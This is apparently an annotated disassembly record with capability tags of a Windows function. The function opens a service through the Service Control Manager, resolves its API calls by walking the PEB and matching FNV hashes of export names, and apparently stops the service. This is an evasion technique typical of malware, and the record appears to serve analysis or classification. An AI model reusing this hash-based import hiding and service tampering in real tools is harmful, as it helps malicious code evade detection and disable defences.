Function at 0x1800311f4
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x1802107c0]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rdi, rcx
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180031235
xor al, al
jmp 0x180031476
mov r8d, 0x20
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x180031308
mov rax, qword [0x180216858]
test rax, rax
jne 0x1800312fe
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x1800312da
mov edx, dword [r9 + 0x18]
test edx, edx
je 0x1800312da
mov esi, dword [r9 + 0x20]
dec edx
mov r11d, 0x6871f6b0
lea rcx, [rsi + rdx*4]
mov r10d, dword [rcx + r8]
add r10, r8
mov cl, byte [r10]
inc r10
test cl, cl
je 0x1800312d6
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [r10]
inc r10
test cl, cl
jne 0x1800312b6
cmp r11d, 0xfcfb2b89
je 0x1800312df
test edx, edx
jne 0x180031299
mov rax, qword [rax]
jmp 0x180031275
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + rdx*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
mov qword [0x180216858], rax
mov rcx, rbx
call rax
jmp 0x18003122e
mov rax, qword [0x180216860]
test rax, rax
jne 0x1800313b2
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x18003138e
mov edx, dword [r9 + 0x18]
test edx, edx
je 0x18003138e
mov esi, dword [r9 + 0x20]
dec edx
mov r11d, 0xf97996b8
lea rcx, [rsi + rdx*4]
mov r10d, dword [rcx + r8]
add r10, r8
mov cl, byte [r10]
inc r10
test cl, cl
je 0x18003138a
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [r10]
inc r10
test cl, cl
jne 0x18003136a
cmp r11d, 0xa5da7aec
je 0x180031393
test edx, edx
jne 0x18003134d
mov rax, qword [rax]
jmp 0x180031329
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + rdx*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
mov qword [0x180216860], rax
lea r8, [rsp + 0x20]
mov edx, 1
mov rcx, rdi
call rax
mov rax, qword [0x180216868]
test rax, rax
jne 0x18003146f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r10d, dword [rcx + r9 + 0x88]
add r10, r9
cmp r10, r9
je 0x180031449
mov edx, dword [r10 + 0x18]
test edx, edx
je 0x180031449
mov esi, dword [r10 + 0x20]
dec edx
mov r11d, 0xea592b70
mov ebx, edx
lea rcx, [r9 + rdx*4]
mov r8d, dword [rcx + rsi]
add r8, r9
mov cl, byte [r8]
inc r8
test cl, cl
je 0x180031445
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x180031425
cmp r11d, 0x820b9c49
je 0x18003144e
test edx, edx
jne 0x180031406
mov rax, qword [rax]
jmp 0x1800313e2
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx r8d, word [rdx + rbx*2]
mov edx, dword [r10 + 0x1c]
add rdx, r9
mov eax, dword [rdx + r8*4]
add rax, r9
mov qword [0x180216868], rax
mov rcx, rdi
call rax
mov al, 1
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.180118240
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret